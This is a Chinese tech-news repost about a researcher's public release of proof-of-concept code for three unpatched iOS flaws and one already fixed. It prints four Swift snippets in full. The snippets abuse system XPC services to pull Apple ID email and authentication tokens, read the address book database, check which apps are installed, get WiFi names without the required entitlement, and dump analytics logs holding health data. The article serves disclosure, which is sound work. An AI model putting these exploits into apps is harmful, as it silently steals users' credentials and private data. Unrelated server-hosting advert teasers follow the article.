研究人员发现三个iOS 0 day漏洞PoC代码

[[425782]]

研究人员发现3个iOS 0 day漏洞PoC代码。

GitHub用户illusionofchaos在GitHub上发布了4个iOS 安全漏洞的PoC代码,其中包含3个0 day漏洞和1个已修复的安全漏洞。这4个漏洞分别是:

  • Gamed 0-day
  • Nehelper Enumerate Installed Apps 0-day
  • Nehelper Wifi Info 0-day
  • Analyticsd (iOS 14.7中已修复)

Gamed 0-day

从APP store中按住那个的应用可以在用户不知情的情况下访问以下信息:

  • Apple ID邮箱和Apple ID账户的全名;
  • Apple ID认证token,允许以用户名义访问*.apple.com上的至少1个终端;
  • Core Duet数据库的完全文件系统读权限,其中包含邮箱、SMS、iMessage和第3方消息APP的联系人,以及与这些联系人进行用户交互的元数据;
  • 快速拨号数据库和地址簿数据库的完全文件系统读权限,包括联系人图片和其他元数据;

PoC代码如下:

  1. let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)! 
  2. let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol 
  3. let pid = ProcessInfo.processInfo.processIdentifier 
  4. proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in 
  5.     accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in 
  6.         let appleID = response.credential.accountName 
  7.         let token = response.credential.authenticationToken 
  8.     } 
  9.     utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in 
  10.         let addressBookData = data 
  11.     } 

Nehelper Enumerate Installed Apps 0-day

该漏洞允许任何用户安装的APP来确定设备上安装的APP是否是给定的bundle ID。XPC终端com.apple.nehelper 有一个访问APP的方法可以接受bundle ID作为参数,并返回含有缓存UUID的数组,缓存的UUID可以用来与设备上安装的应用的bundle ID进行配对。具体参见/usr/libexec/nehelper的[NEHelperCacheManager onQueueHandleMessage:] :

  1. func isAppInstalled(bundleId: String) -> Bool { 
  2.     let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)! 
  3.     xpc_connection_set_event_handler(connection, { _ in }) 
  4.     xpc_connection_resume(connection) 
  5.     let xdict = xpc_dictionary_create(nil, nil, 0) 
  6.     xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1) 
  7.     xpc_dictionary_set_uint64(xdict, "cache-command", 3) 
  8.     xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId) 
  9.     let reply = xpc_connection_send_message_with_reply_sync(connection, xdict) 
  10.     if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil { 
  11.         return true 
  12.     } 
  13.     return false 

Nehelper Wifi Info 0-day

XPC终端com.apple.nehelper会接收用户提供的参数sdk-version,如果该值小于后等于524288,com.apple.developer.networking.wifi-info entiltlement就会跳过。这使得任何符合条件的APP都可以在无需entiltlement的情况下获取WiFi信息。

  1. func wifi_info() -> String? { 
  2.     let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2) 
  3.     xpc_connection_set_event_handler(connection, { _ in }) 
  4.     xpc_connection_resume(connection) 
  5.     let xdict = xpc_dictionary_create(nil, nil, 0) 
  6.     xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10) 
  7.     xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely 
  8.     xpc_dictionary_set_string(xdict, "interface-name", "en0") 
  9.     let reply = xpc_connection_send_message_with_reply_sync(connection, xdict) 
  10.     if let result = xpc_dictionary_get_value(reply, "result-data") { 
  11.         let ssid = String(cString: xpc_dictionary_get_string(result, "SSID")) 
  12.         let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID")) 
  13.         return "SSID: \(ssid)\nBSSID: \(bssid)" 
  14.     } else { 
  15.         return nil 
  16.     } 

Analyticsd (iOS 14.7中已修复)

该漏洞允许任意用户安装的APP访问分析日志。这些日志中含有以下信息:

  • 医疗信息,包括心跳、异常心律事件等;
  • 设备使用信息,包括推送通知数和用户的行为等;
  • 屏幕时间信息和给定bundle ID的所有有用的会话数;
  • Safari中用户查看的web页面的语言;
  • 设备配件的信息,包括厂商、型号、固件版本和用户分配的名字;
  1. func analytics_json() -> String? { 
  2. let connection = xpc_connection_create_mach_service("com.apple.analyticsd", nil, 2) 
  3.     xpc_connection_set_event_handler(connection, { _ in }) 
  4.     xpc_connection_resume(connection) 
  5. let xdict = xpc_dictionary_create(nil, nil, 0) 
  6.     xpc_dictionary_set_string(xdict, "command", "log-dump"); 
  7.     let reply = xpc_connection_send_message_with_reply_sync(connection, xdict); 
  8.     return xpc_dictionary_get_string(reply, "log-dump"); 

更多参见:https://habr.com/ru/post/579714/

 

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/151476.html<

(0)
管理的头像管理
上一篇2025-03-13 13:44
下一篇 2025-03-13 13:45

相关推荐

  • 站群服务器和普通服务器到底哪个更适合GEO,怎么选?

    站群服务器更适合需要批量管理多个独立站点进行SEO的策略,而普通服务器在单站点权威性和稳定性上更优,但2026年百度对内容质量的要求让两者选择更依赖业务模式,站群服务器与普通服务器的核心差异定义与适用场景站群服务器本质是一台独享物理服务器,提供多个独立IP段(常为16、32或64个C段IP),每个IP绑定一个独……

    2026-07-28
    0
  • 物理服务器和云服务器做站群到底选哪个,哪个更稳定?

    做站群,物理服务器在核心指标上完全优于云服务器,尤其是对于追求稳定和长期排名的项目,物理服务器是唯一合理的选择,为什么物理服务器更适合站群站群的核心逻辑在于利用多个独立IP和站点,构建一个在网络中看似分散、但实际相互关联的矩阵,搜索引擎对IP关联性极其敏感,一旦检测到大量站点共享同一IP段或同一母机,惩罚风险会……

    2026-07-28
    0
  • 国内高防服务器哪家防御真实靠谱,怎么选?

    国内高防服务器哪家防御真实靠谱?答案很明确:只有那些持证上岗、自建机房、自己掌握清洗算法的服务商才靠得住,简米科技和酷番云就是这类代表,判断高防服务器真实防御能力的三个硬指标很多朋友选高防服务器,上来就问“你家多少G防御”,但数字背后水分很大,要判断防御是否真实,得看这三个方面:防御带宽是否独享? 有些服务商宣……

    2026-07-28
    0
  • 裸金属服务器和物理服务器有什么区别?,怎么选?

    裸金属服务器和物理服务器本质上是同一类硬件,核心区别在于交付逻辑和管理方式, 裸金属服务器是云服务商将物理服务器以云化方式交付,支持自动化部署、弹性伸缩和按需计费;而物理服务器通常指用户自购或托管,需要自行承担运维,两者在硬件层面完全相同,但业务模型和运维成本差异显著,裸金属服务器与物理服务器的定义差异裸金属服……

    2026-07-28
    0
  • 做GEO站群选哪家服务器服务商靠谱,怎么选?

    做SEO站群,选择服务器服务商的核心在于机房资质、IP资源与售后响应——简米科技与酷番云凭借持牌自营机房和多项权威认证,成为众多站群运营者的首选,站群服务器的高要求从何而来SEO站群依赖大量独立域名和IP地址,通过矩阵化布局获取长尾流量,搜索引擎对站群的识别逻辑越来越严,如果IP段集中、或服务器存在违规记录,很……

    2026-07-28
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注